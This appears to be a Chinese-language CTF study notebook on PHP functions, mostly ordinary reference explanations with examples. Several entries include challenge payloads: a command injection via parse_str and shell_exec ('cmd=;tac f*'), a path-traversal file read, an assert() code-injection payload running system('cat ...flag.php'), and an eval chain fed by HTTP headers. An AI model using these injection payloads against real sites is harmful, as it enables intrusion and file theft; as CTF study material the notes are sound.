PHP函数(持续更新)

1.shell_exec

执行里面的语句

2.parse_str()

  • parse_str()函数直接将查询参数解析到当前作用域变量中
1
@parse_str($id); // 未使用第二个参数导致变量覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

id=a[]=www.polarctf.com&cmd=;tac f*

3.is_numeric

1
bool is_numeric ( mixed $var )

如果变量是数值或数值字符串,则返回 true,否则返回 false

4.strrev

strrev 是 PHP 中用于反转字符串的函数。

1
2
3
<?php
echo strrev("Hello World!"); // 输出 "!dlroW olleH"
?>

5.mb_strpos

1
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )
  1. $haystack:
    • 必需。要在其中搜索的字符串(主字符串)。
  2. $needle:
    • 必需。要查找的字符或子字符串。
  3. $offset:
    • 可选。指定从哪个位置开始搜索。默认值为 0(从字符串开头开始搜索)。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回 $needle$haystack 中首次出现的位置(从 0 开始计数)。
  • 如果未找到 $needle,返回 false

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 查找单个字符的位置
$pos = mb_strpos($string, "世", 0, $encoding);
echo "字符 '世' 的位置: " . $pos; // 输出:字符 '世' 的位置: 7

// 查找子字符串的位置
$pos = mb_strpos($string, "世界", 0, $encoding);
echo "子字符串 '世界' 的位置: " . $pos; // 输出:子字符串 '世界' 的位置: 7



mb_strpos($page . '?', '?'):
mb_strpos 是一个多字节字符串处理函数,用于查找指定字符的位置。
$page . '?' 是为了确保即使 $page 中没有问号 ?,也不会导致 mb_strpos 返回 false
mb_strpos($page . '?', '?') 的作用是找到 $page 中第一个问号 ? 的位置。
如果 $page 中已经包含问号 ?,则返回问号的位置;如果 $page 中没有问号,则 $page . '?' 会在末尾添加一个问号,返回问号的位置即字符串长度。

?file=source.php%3f../../../../../ffffllllaaaagggg

6.mb_substr

1
mb_substr ( string $string , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )
  1. $string:
    • 必需。原始字符串。
  2. $start:
    • 必需。指定从哪个位置开始截取。如果为正数,从字符串开头向后数 $start 个字符的位置开始;如果为负数,从字符串末尾向前数 $start 个字符的位置开始。
  3. $length:
    • 可选。指定截取的长度。如果为正数,从 $start 位置开始向前数 $length 个字符;如果为负数,从 $start 位置开始到字符串末尾向前数 $length 个字符的位置;如果省略,则截取从 $start 到字符串末尾的所有字符。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回从 $start 开始,长度为 $length 的子字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 从第7个字符开始截取,长度为2
$sub = mb_substr($string, 7, 2, $encoding);
echo $sub; // 输出:世界

// 从第7个字符开始截取到末尾
$sub = mb_substr($string, 7, NULL, $encoding);
echo $sub; // 输出:世界!

// 从倒数第5个字符开始截取,长度为5
$sub = mb_substr($string, -5, 5, $encoding);
echo $sub; // 输出:, 世界!

// 从倒数第5个字符开始截取到倒数第2个字符
$sub = mb_substr($string, -5, -2, $encoding);
echo $sub; // 输出:, 世

7.putenv

  1. putenv 函数:
    • putenv 是 PHP 中的一个函数,用于设置环境变量。
    • 语法:bool putenv ( string $setting )
    • 参数 $setting 是一个字符串,格式为 "变量名=值"
  2. PATH=/home/rceservice/jail:
    • 这是设置 PATH 环境变量的值为 /home/rceservice/jail
    • PATH 环境变量用于指定系统在查找可执行文件时搜索的目录路径。

假设有一个 PHP 脚本需要执行外部命令 ls,并且 PATH 被设置为 /home/rceservice/jail

1
2
putenv('PATH=/home/rceservice/jail');
system('ls');
  • 系统会在 /home/rceservice/jail 目录下查找 ls 命令。
  • 如果 /home/rceservice/jail/ls 存在,就会执行该文件;否则,会报错。

8.pahinfo()

将传入的路径“字典化”

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123’));

1
2
3
4
5
6
7
8
array(3) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(3) "123"
["filename"]=>
string(3) "123"
}

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt’));

1
2
3
4
5
6
7
8
9
10
array(4) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(7) "123.txt"
["extension"]=>
string(3) "txt"
["filename"]=>
string(3) "123"
}

9.file_put_contents()

将结果放进文件中

10.addslashes()

addslashes是PHP中的一个字符串处理函数,用于在字符串中的某些特定字符前添加反斜杠(\),以确保这些字符在后续的处理过程中不会引起语法错误或安全问题。这些特定字符包括单引号(')、双引号(")、反斜杠(\)和NULL字节。

功能说明

  • 作用:在字符串中的单引号(')、双引号(")、反斜杠(\)和NULL字节前添加反斜杠。
  • 目的:防止这些字符在SQL查询、字符串拼接等操作中引起语法错误或安全问题(如SQL注入)。
  • 返回值:返回处理后的字符串。

使用示例

1
2
3
4
5
<?php
$str = "Hello 'World'";
$escaped_str = addslashes($str);
echo $escaped_str; // 输出:Hello \'World\'
?>

11.extract()

用于从数组中提取元素并将它们导入到当前的符号表中,即将数组的键名作为变量名,键值作为变量值。

很可能会覆盖变量!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失

12.assert()

  1. 基本概念
    • assert() 函数是 PHP 中用于断言的内置函数。断言是一种编程概念,它允许程序员在程序代码中放置检查点,以验证程序的状态是否符合预期。在 PHP 中,这个函数默认是启用的,它可以帮助开发者在开发和调试过程中快速发现程序中的逻辑错误。
    • assert()函数会将读入的代码当作php执行

E.g

1
2
3
4
5
6
7
8
9
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")注释掉

然后构造payload:?page='.phpinfo();//

').system("cat templates/flag.php");//

变为:

1
assert("strpos('templates/').system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");)

只留下:

1
assert("strpos('templates/').system("cat templates/flag.php");

13.uniqid()

uniqid() 是 PHP 中的一个函数,用于生成一个唯一的 ID,通常用于创建唯一的标识符,例如文件名、临时标识符等。它基于当前时间戳生成,具有较高的唯一性,但并不是绝对的全球唯一。

1
2
3
4
5
6
7
8
9
10
<?php
// 基本用法
echo uniqid(); // 输出类似: 55c31b2d67f66

// 带前缀
echo uniqid('prefix_'); // 输出类似: prefix_55c31b2d67f66

// 添加额外熵
echo uniqid('', true); // 输出类似: 55c31b2d7e5e25.43184718
?>

14.date()

[CISCN 2023 华北]ez_date | NSSCTF

PHP 中的 date() 函数是一个非常重要的日期和时间处理函数,它能够格式化一个时间戳为更易读的日期和时间形式

常用格式化参数

  • d:表示一个月中的第几天,两位数字,如果是一天则前面补零,如 0131
  • m:表示一年中的第几个月,两位数字,如 0112
  • Y:四位数字完整表示年份,如 2023
  • H:表示小时,24 小时制,两位数字,如 0023
  • i:表示分,两位数字,如 0059
  • s:表示秒,两位数字,如 0059
  • a:表示 AM 或 PM(上午或下午)。
  • l:(小写的 L):完整的星期几的文本名称,如 Monday
  • M:三个字母缩写的月份名称,如 Jan
  • g :用于获取小时部分,范围是从 1 到 12。
1
2
3
4
5
6
7
8
9
10
11
<?php
// 基本用法,获取当前日期和时间
echo date("Y-m-d H:i:s"); // 输出类似: 2023-10-05 15:30:45

// 格式化特定时间戳
$timestamp = strtotime("2023-10-01 12:00:00");
echo date("l, F j, Y, g:i A", $timestamp); // 输出: Sunday, October 1, 2023, 12:00 PM

// 获取当前的日期和时间中星期几的名称
echo date("l"); // 输出类似: Friday
?>

15.@stream_context_create()

stream_context_create 是 PHP 中用于创建一个流(stream)上下文的函数。流上下文是为文件流(比如网络请求)配置选项的一个集合,它可以让开发者对流的行为进行自定义,比如设置请求头、超时时间、用户认证等。

语法

  • resource stream_context_create ( array $options [, array $params ] )
  • 参数 options 是一个关联数组,用于指定不同协议(如 HTTP、FTP 等)的上下文选项,默认值为 NULL。例如,对于 HTTP 请求,可以设置 header 选项来添加请求头信息。
  • 参数 params 是一个关联数组,用于指定上下文的参数,如通知回调函数等,默认值为 NULL。

使用示例

  • 创建一个 HTTP 请求上下文,设置用户代理和请求头:
1
2
3
4
5
6
7
8
9
10
11
12
$options = [
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n",
'timeout' => 30
]
];

$context = stream_context_create($options);

// 使用上下文打开网页并获取内容
$content = file_get_contents('https://www.example.com', false, $context);
  • 在这个例子中,stream_context_create 创建了一个用于 HTTP 协议的上下文,设置了请求方法为 GET、添加了用户代理头,并设置了超时时间为 30 秒。然后使用 file_get_contents 函数和这个上下文来获取网页的内容。

16.strcmp()

strcmp 是一个用于比较两个字符串的函数。

  1. 函数原型
    • int strcmp ( string $str1 , string $str2 )
  2. 参数
    • $str1:第一个要比较的字符串。
    • $str2:第二个要比较的字符串。
  3. 返回值
    • 如果返回值小于 0,表示 $str1 小于 $str2
    • 如果返回值等于 0,表示 $str1$str2 相等。
    • 如果返回值大于 0,表示 $str1 大于 $str2

17.extract()

extract() 是 PHP 中一个用于从数组中将变量导入到当前符号表的函数。它主要用来方便地将数组中的键值对转换为单独的变量。下面详细介绍其使用方法、参数以及注意事项:

函数定义

1
int extract ( array $array [, int $extract_type = EXTR_OVERWRITE [, string $prefix ]] )

参数详解

  • $array :必需。要从其中提取变量的数组。
  • $extract_type :可选。用于指定冲突时的处理方式,默认值为 EXTR_OVERWRITE。常见的可选值有:
    • EXTR_OVERWRITE :如果有冲突,覆盖已存在的变量。
    • EXTR_SKIP :如果有冲突,不覆盖已存在的变量。
    • EXTR_PREFIX_SAME :如果有冲突,则给变量添加前缀。
    • EXTR_PREFIX_ALL :给所有变量添加前缀。
    • EXTR_PREFIX_INVALID :仅给无效的或数字的变量名添加前缀。
  • $prefix :可选。如果指定了前缀类型,需要提供一个前缀。前缀用于区分变量名,避免冲突。

返回值

该函数返回成功提取的变量数目。

使用示例

1
2
3
4
$data = ['name' => 'Alice', 'age' => 30];
extract($data);
echo $name; // 输出:Alice
echo $age; // 输出:30

注意事项

  • 变量覆盖风险 :使用 extract() 时需要特别小心,因为它可能导致变量覆盖问题。如果从外部输入(如用户输入)构造的数组中提取变量,可能会无意中覆盖重要的变量,从而引发意外行为或安全漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 假设有一个数组,其内容可能来自外部输入(如用户提交的表单数据)
$user_input = array("user_id" => "123", "role" => "admin");

// 现变量有的
$user_id = "456";
$role = "user";

// 使用 extract() 函数提取数组中的变量
extract($user_input);

// 输出结果,查看变量是否被覆盖
echo "User ID: " . $user_id . "\n";
echo "Role: " . $role . "\n";

// 如果 $user_input 数组来自不可信的外部输入,这就可能导致严重的安全问题
?>




//User ID: 123 Role: admin

18.getallheaders()

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!)

使用 getallheaders() 获取当前请求的所有 HTTP 标头,并返回一个数组

19.pos()

pos() 函数是 PHP 中的一个内置函数,用于返回数组中当前元素的值。它是 current() 函数的别名,二者功能完全相同

参数

  • $array:必需,指定要操作的数组。

返回值

返回数组中当前指针所指向的元素的值。如果指针超出了数组的范围,则返回 false

使用示例

1
2
3
4
5
6
7
8
9
10
<?php
$array = array(1, 2, 3, 4, 5);
echo pos($array); // 输出 1,因为指针最初指向第一个元素

next($array); // 移动指针到下一个元素
echo pos($array); // 输出 2

next($array);
echo pos($array); // 输出 3
?>

19.array_reverse()

这个函数用于反转数组的顺序。它接收一个数组作为参数,并返回一个新的数组,其元素顺序与原数组相反

可以结合pos()和eval()使用,比如

1
2
3
4
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
X-Custom-Header: <?php phpinfo(); ?>
  1. getallheaders() 返回的数组是:

    1
    2
    3
    4
    5
    6
    [
    'Host' => 'example.com',
    'User-Agent' => 'Mozilla/5.0',
    'Accept' => 'text/html',
    'X-Custom-Header' => '<?php phpinfo(); ?>'
    ]
  2. array_reverse() 反转后的数组是:

    1
    2
    3
    4
    5
    6
    [
    'X-Custom-Header' => '<?php phpinfo(); ?>',
    'Accept' => 'text/html',
    'User-Agent' => 'Mozilla/5.0',
    'Host' => 'example.com'
    ]
  3. pos() 获取反转后数组的第一个元素,即 '<?php phpinfo(); ?>'

  4. eval() 尝试执行这个字符串作为 PHP 代码。如果字符串是有效的 PHP 代码,它会被执行。

20.__invoke()

  • 当一个对象被当作函数调用时,__invoke() 方法会被自动调用。这使得对象可以像函数一样被调用,提供了更多的灵活性,可以创建可调用的对象,这样的对象在某些场景下可以作为回调函数等使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
class InvokableClass
{
public function __invoke($name)
{
echo "Hello, $name!";
}
}

// 创建对象
$obj = new InvokableClass();

// 像调用函数一样调用对象
$obj("PHP"); // 输出 "Hello, PHP!"

21.__call()&unset()

  1. __unset

  2. 作用

    • 当尝试 unset 一个对象中未定义的属性或者不可见属性(如私有或受保护属性,且在类外部尝试 unset)时,__unset 方法会被自动调用。这使得我们可以在 unset 操作发生时执行一些自定义的操作,比如日志记录、清理资源或者更新其他相关的状态等。
  3. 语法格式

    • public function __unset ( string $name ) : void
    • 参数 $name 是要 unset 的属性名称
  4. 示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    class MyClass
    {
    private $privateProperty;

    public function __unset($name)
    {
    if ($name === 'privateProperty') {
    echo "试图 unset 私有属性:privateProperty\n";
    $this -> privateProperty = null;
    } else {
    echo "试图 unset 不存在的属性:$name\n";
    }
    }
    }

    $obj = new MyClass();
    unset($obj -> privateProperty); // 输出 "试图 unset 私有属性:privateProperty"
    unset($obj -> nonExistingProperty); // 输出 "试图 unset 不存在的属性:nonExistingProperty"

    在这个例子中,当尝试 unset 私有属性 privateProperty 或者不存在的属性 nonExistingProperty 时,__unset 方法被调用,并输出相应的提示信息,同时对于私有属性,我们也可以在 __unset 中对其进行一些处理,比如将其设置为 null

  5. __call

  6. 作用

    • 当尝试调用一个对象中不存在的方法或者不可见方法(如私有或受保护方法,且在类外部尝试调用)时,__call 方法会被自动调用。它可以用于动态处理方法调用,实现一些灵活的功能,比如方法的代理、动态路由等
  7. 语法格式

    • public mixed __call ( string $name , array $arguments )
    • 参数 $name 是被调用的方法名称,$arguments 是该方法的参数数组
  8. 示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    class MyClass
    {
    public function __call($name, $arguments)
    {
    if (strpos($name, 'do') === 0) {
    $action = substr($name, 2);
    echo "执行动作:$action\n";
    // 可以在这里添加动态处理逻辑
    return "动作 $action 执行完成";
    } else {
    echo "调用不存在的方法:$name\n";
    }
    }
    }

    $obj = new MyClass();
    echo $obj -> doSomething(); // 输出 "执行动作:Something" 和 "动作 Something 执行完成"
    $obj -> nonExistingMethod(); // 输出 "调用不存在的方法:nonExistingMethod"

    在这个例子中,当调用 doSomething 方法时,由于该方法在类中不存在,__call 方法被调用。通过检查方法名称的前缀(do),我们动态地处理了这个方法调用,输出相应的动作信息并返回结果。而当调用不存在的 nonExistingMethod 时,输出提示信息